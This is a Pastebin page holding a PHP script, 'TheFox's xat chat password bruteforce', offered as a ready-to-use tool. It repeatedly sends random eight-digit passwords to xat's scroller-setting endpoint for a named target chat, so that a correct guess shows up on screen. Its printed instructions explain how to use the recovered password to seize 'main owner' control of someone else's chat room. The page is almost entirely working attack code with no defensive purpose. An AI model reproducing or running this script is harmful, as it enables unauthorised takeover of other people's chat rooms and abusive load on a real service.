Advertisement
dopeFox

[PHP] TheFox's xat chat password bruteforce

Nov 8th, 2014
615
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.76 KB | None | 0 0
  1. <?php
  2.     function stribet($inputstr, $deliLeft, $deliRight) {
  3.         $posLeft = stripos($inputstr, $deliLeft) + strlen($deliLeft);
  4.         $posRight = stripos($inputstr, $deliRight, $posLeft);
  5.         return substr($inputstr, $posLeft, $posRight - $posLeft);
  6.     }
  7.     Class Bruteforce {
  8.         var $Chat = ""; //Chat's NAME Goes Here, Not It's ID!
  9.         function Script(){
  10.             echo "-------------------------------------------\n";
  11.             echo "TheFox's Xat Chat Password Bruteforce v1.0\n";
  12.             echo "-------------------------------------------\n\n";
  13.             echo "NOTE: Once the bruteforce gets the password for the chat, the scroller on the bottom of the chat box will display the chat's password. Just use this link to get main owner: http://xat.com/web_gear/chat.php?id=CHAT'S ID&pw=THE PASSWORD ON THE SCROLLER\n";
  14.             echo "Also, this will take a WHILE to get the chat's password. It will not find it right away, it's a bruteforce. Enjoy! ~ TheFox\n\n";
  15.             sleep(5);
  16.             $Start_Bruteforce = new Bruteforce();
  17.             $Start_Bruteforce->Exploit();
  18.         }
  19.         function Exploit(){
  20.             for($x=0; $x<=4564546; $x++) {
  21.                 $Message = "Chat's Password: ";
  22.                 $Password = rand(10000000, 99999999);
  23.                 try {
  24.                     $HTML = file_get_contents('http://xat.com/'.$this->Chat);
  25.                     if (strpos($HTML,'flashvars="id=') != false) {
  26.                         $Chat_2 = stribet($HTML, 'flashvars="id=', '&');
  27.                         $Scroller = file_get_contents("http://xat.com/web_gear/chat/SetScroller.php?Message=$Message$Password&id=$Chat_2&pw=$Password");
  28.                     }
  29.                     else{
  30.                         echo "Please enter a valid chat name.\n";
  31.                         sleep(999999);
  32.                     }
  33.                 } catch (Exception $e) {
  34.                     echo "Please enter a valid chat name.\n";
  35.                     sleep(999999);
  36.                 }
  37.                 echo "Trying password => $Password\n";
  38.             }
  39.         }
  40.     }
  41.     $Script = new Bruteforce();
  42.     $Script->Script();
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement